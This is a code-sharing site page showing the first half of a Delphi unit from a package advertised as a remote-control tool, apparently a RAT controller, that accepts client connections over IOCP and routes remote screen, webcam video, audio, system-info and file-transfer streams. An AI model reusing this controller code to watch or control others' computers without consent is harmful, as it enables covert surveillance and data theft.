⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 iocpunit.pas

📁 iocp远控比较完整的代码.iocp far more complete control of the code
💻 PAS
📖 第 1 页 / 共 2 页
字号:
unit IocpUnit;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls, Buttons, ComCtrls, winsock2, winsock, IocpHerder,
  mssock, SyncObjs, Lzo, MxZLib, PublicFunctionUnit, FileAndClientInfoCtrlUnit,
  VideoFormUnit, DisplayRemoteScreenUnit;

type
  //工作者线程类
  Tworkerthread = class(TThread)
  private 
    mythreadId : integer;
    PHandledata : PPerHandleData;
    OfflineSocket : Tsocket; 
    procedure ListViewAddItem;
    procedure ListViewDeletItem;
  protected
    procedure Execute; override;
    function HandleData(var lp_Io: PPerHandleData; flag : TIocpCompleteState) : Boolean;
    function DataAction(lp_Io : PPerHandleData) : Boolean;
  public
    constructor create(CreateSuspended : Boolean; Id : integer); overload;
  end;
  //新增acceptex的类
  TAcceptexThread = class(TThread)
  private
    msg : string;
    acceptcount : integer; 
    function postacceptEx(count : Integer) : Boolean;
    function postoneacceptEx() : Boolean;
    procedure ShowMsg;
  protected
    procedure Execute; override;
  public
   constructor create(CreateSuspended : Boolean; acceptCnt : integer); overload;
  end;

var
  lpAcceptEx : TAcceptEx;

implementation
  uses MainWindow;

{--------------------------------Tworkerthread---------------------------------}

constructor Tworkerthread.create(CreateSuspended: Boolean; Id: integer);
begin 
  Create(CreateSuspended);
  priority := tpTimeCritical;
  mythreadId := ID;
  FreeOnTerminate := True;
end;

(*--------------------以下主要是进行数据的接收和处理操作的--------------------*)

procedure Tworkerthread.Execute;
var
  PHandleData : PPerHandleData;
  lpKey : DWORD;
  nRet : Integer;
  dwBytes : DWORD;
  bRet : Boolean;
  hRet : Thandle;
  tmpIPStr : string;
  myDisplayRemoteScreen : TDisplayRemoteScreen;
  myVideoForm : TVideoForm;
  myFileAndInfoCtrlForm : TFileAndInfoCtrlForm;
begin
  //初始化
  PHandleData := nil;
  dwBytes := 0;
  //循环查询I/O完成队列
  while (TRUE) do
  begin
    bRet := GetQueuedCompletionStatus(g_CompletionPort, dwBytes, lpKey, POverlapped(PHandleData), INFINITE);
    //接收到服务器关闭事件
    if Cardinal(PhandleData) = SHUTDOWN_FLAG then
    begin
      Break;
    end;
    //函数返回错误
    if (bRet = False) or (PHandleData = nil) then
    begin
      Continue;
    end;
    //client退出了,需要释放相关内存
    if (PHandleData^.operType <> IO_ACCEPT) and (dwBytes = 0) then
    begin
      case PHandleData^.RemoteSystemInfo.RemoteDataType of
        MainSocketData:
        begin
          //屏传
          if PHandleData^.AllCtrlInstance.CapScreenInstance <> 0 then
          begin
            myDisplayRemoteScreen := TDisplayRemoteScreen(PHandleData^.AllCtrlInstance.CapScreenInstance);
            myDisplayRemoteScreen.Caption :=  myDisplayRemoteScreen.CaptionStr + '远程主机已下线';
            myDisplayRemoteScreen.MainClientSocketIP_IO := nil;
          end;
          //视频
          if PHandleData^.AllCtrlInstance.CapVideoInstance <> 0 then
          begin
            myVideoForm := TVideoForm(PHandleData^.AllCtrlInstance.CapVideoInstance);
            myVideoForm.Caption :=  myVideoForm.CaptionStr + '远程主机已下线';
            myVideoForm.MainClientSocketIP_IO := nil;
            //在这里可以考虑添加发送关闭的消息
          end;
          //系统信息和文件传输
          if PHandleData^.AllCtrlInstance.GetSystemInfoInstance <> 0 then
          begin
            myFileAndInfoCtrlForm := TFileAndInfoCtrlForm(PHandleData^.AllCtrlInstance.GetSystemInfoInstance);
            myFileAndInfoCtrlForm.Caption :=  myFileAndInfoCtrlForm.CaptionStr + '远程主机已下线';
            myFileAndInfoCtrlForm.MainClientSocketIP_IO := nil;
            //在这里可以考虑添加发送关闭的消息
          end; 
          //由于是发送到主线程里面进行执行的,因此不需要同步的
          self.OfflineSocket := PHandleData^.Socket;
          self.Synchronize(self.ListViewDeletItem);
          //关闭socket
          shutdown(PHandleData^.Socket, SD_BOTH);
          CloseSocket(PHandleData^.Socket);
          //释放结构内存资源
          FreeOverlappedPlus(PHandledata);
        end;
        RemoteScreenData,
        RemoteVideoData,
        RemoteAudioData,
        GetSystemInfoData,
        RemoteFileData:
        begin
          //关闭socket
          shutdown(PHandleData^.Socket, SD_BOTH);
          CloseSocket(PHandleData^.Socket);
          //释放结构内存资源
          FreeOverlappedPlus(PHandledata);
        end;
      end;
      Continue;
    end;
    //判断操作类型
    case PHandleData^.operType of
      IO_ACCEPT:
      begin
        //更新新连接进来的socket的选项
        //使PHandledata.Socket具有和g_listensocket相同的属性
        nRet := setsockopt(PHandledata.Socket, SOL_SOCKET, SO_UPDATE_ACCEPT_CONTEXT,
          Pansichar(@g_listensocket), sizeof(g_listensocket));
        if(nRet = SOCKET_ERROR) then
        begin
          closesocket(PHandledata.Socket);
          //应该在这里释放资源,否则可能造成资源泄露
          FreeOverlappedPlus(PHandleData);
          Continue;
        end;
        PHandleData^.IsInformed := False;
        //得到client的IP
        ZeroMemory(@PHandleData^.ExternalIPaddressString[0], sizeof(PHandleData^.ExternalIPaddressString));
        tmpIPStr := Format('%d.%d.%d.%d', [Byte(PHandledata^.buffer[42]),
                                           Byte(PHandledata^.buffer[43]),
                                           Byte(PHandledata^.buffer[44]),
                                           Byte(PHandledata^.buffer[45])]);
        CopyMemory(@PHandleData^.ExternalIPaddressString[0], Pchar(tmpIPStr), length(tmpIPStr));
        //将新的socket与完成端口连接
        hRet := CreateIoCompletionPort(THANDLE(PHandledata^.Socket),
          g_CompletionPort, 0, 0);
        if (hRet = 0) then
        begin
          closesocket(PHandledata.Socket);
          Continue;
        end;
        //判断是否连接来以后,随即又发送了数据
        if (dwbytes > 0) then
        begin
          PHandledata^.ptrBuffer^.len := dwbytes;
          HandleData(PHandledata, IOCP_COMPLETE_ACCEPT_READ);
          bRet := DataAction(PHandledata);
          if (bRet = FALSE) then Continue;
        end
        else
        begin
          HandleData(PHandledata, IOCP_COMPLETE_ACCEPT);
          bRet := DataAction(PHandledata);
          if (bRet = FALSE) then Continue;
        end;
      end; // IO_ACCEPT case end


      //省略...~~

      
    end; //case end
  end; //while end
  self.Terminate;
end;

//数据处理过程
function Tworkerthread.HandleData(var lp_Io : PPerHandleData; flag : TIocpCompleteState): Boolean;
var 
  myDisplayRemoteScreen : TDisplayRemoteScreen;
  myVideoForm : TVideoForm;
  myFileAndInfoCtrlForm : TFileAndInfoCtrlForm;
  tmplp_Io : PPerHandleData;
begin
  Result := True;
  case flag of
    IOCP_COMPLETE_ACCEPT:
    begin
      //初始化,用来接受client发来的信息
      InitIoContext(lp_io);
      lp_io.operType := IO_READ;
    end;
    IOCP_COMPLETE_READ:
    begin
      // 如果是没IsInformed的数据,那么就是远程主机信息的数据
      if not lp_Io^.IsInformed then
      begin
        //设置数据接收缓冲区的参数,增加接收计数
        lp_io^.ptrBuffer^.buf := PChar(DWORD(lp_io^.ptrBuffer^.buf) + lp_io^.ptrBuffer^.len);
        lp_io^.ptrBuffer^.len := Sizeof(TDataHeaderInfo) + Sizeof(TRemoteSystemInfo)
          - (DWORD(lp_io^.ptrBuffer^.buf) - DWORD(@lp_io^.Buffer[0]));
        //如果数据超过了结构体的大小,则就进行处理
        if DWORD(lp_io^.ptrBuffer^.buf) - DWORD(@lp_io^.Buffer[0]) >= Sizeof(TDataHeaderInfo)
          + Sizeof(TRemoteSystemInfo) then
        begin
          //从buf里面拷贝数据出来
          CopyMemory(@lp_io^.RemoteSystemInfo, @lp_io^.Buffer[0 + Sizeof(TDataHeaderInfo)], Sizeof(TRemoteSystemInfo));
          lp_Io^.IsInformed := True;
          case lp_Io^.RemoteSystemInfo.RemoteDataType of
            MainSocketData:
            begin
              //接受心跳
              lp_io^.IsAlive := True;
              Self.PHandledata := lp_io;
              //线程同步的,不需要互斥
              self.Synchronize(self.ListViewAddItem);
            end;
            RemoteScreenData:
            begin
              //取得主sokcet的单io数据指针
              tmplp_Io := PPerHandleData(lp_Io^.RemoteSystemInfo.PerIODataPointer);
              myDisplayRemoteScreen :=
                TDisplayRemoteScreen(tmplp_Io^.AllCtrlInstance.CapScreenInstance);
              //将类实例指针赋值给本类的内的指针
              lp_Io^.AllCtrlInstance.CapScreenInstance :=
                tmplp_Io^.AllCtrlInstance.CapScreenInstance;
              //赋值给本类的socket记录
              myDisplayRemoteScreen.ClientSocket := lp_Io^.Socket;
              //赋值给本类内的主socket的单io记录
              myDisplayRemoteScreen.MainClientSocketIP_IO := tmplp_Io;
              //将单io数据赋值给类,以便进行释放
              myDisplayRemoteScreen.SubClientSocketIP_IO := lp_Io;
            end;
            RemoteVideoData:
            begin
              //取得主sokcet的单io数据指针
              tmplp_Io := PPerHandleData(lp_Io^.RemoteSystemInfo.PerIODataPointer);
              myVideoForm :=
                TVideoForm(tmplp_Io^.AllCtrlInstance.CapVideoInstance);
              //将类实例指针赋值给本类的内的指针
              lp_Io^.AllCtrlInstance.CapVideoInstance :=
                tmplp_Io^.AllCtrlInstance.CapVideoInstance;
              //赋值给本类的socket记录
              myVideoForm.ClientSocket := lp_Io^.Socket;
              //赋值给本类内的主socket的单io记录
              myVideoForm.MainClientSocketIP_IO := tmplp_Io;
              //将单io数据赋值给类,以便进行释放
              myVideoForm.SubClientSocketIP_IO := lp_Io;
            end;
            RemoteFileData:
            begin

            
            end; 
            GetSystemInfoData:
            begin
              //取得主sokcet的单io数据指针
              tmplp_Io := PPerHandleData(lp_Io^.RemoteSystemInfo.PerIODataPointer);
              myFileAndInfoCtrlForm :=
                TFileAndInfoCtrlForm(tmplp_Io^.AllCtrlInstance.GetSystemInfoInstance);
              //将类实例指针赋值给本类的内的指针
              lp_Io^.AllCtrlInstance.GetSystemInfoInstance :=
                tmplp_Io^.AllCtrlInstance.GetSystemInfoInstance;
              //赋值给本类的socket记录
              myFileAndInfoCtrlForm.ClientSocket := lp_Io^.Socket;
              //赋值给本类内的主socket的单io记录
              myFileAndInfoCtrlForm.MainClientSocketIP_IO := tmplp_Io;
              //将单io数据赋值给类,以便进行释放
              myFileAndInfoCtrlForm.SubClientSocketIP_IO := lp_Io;
            end;
            RemoteAudioData:
            begin

            end;
          end;

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -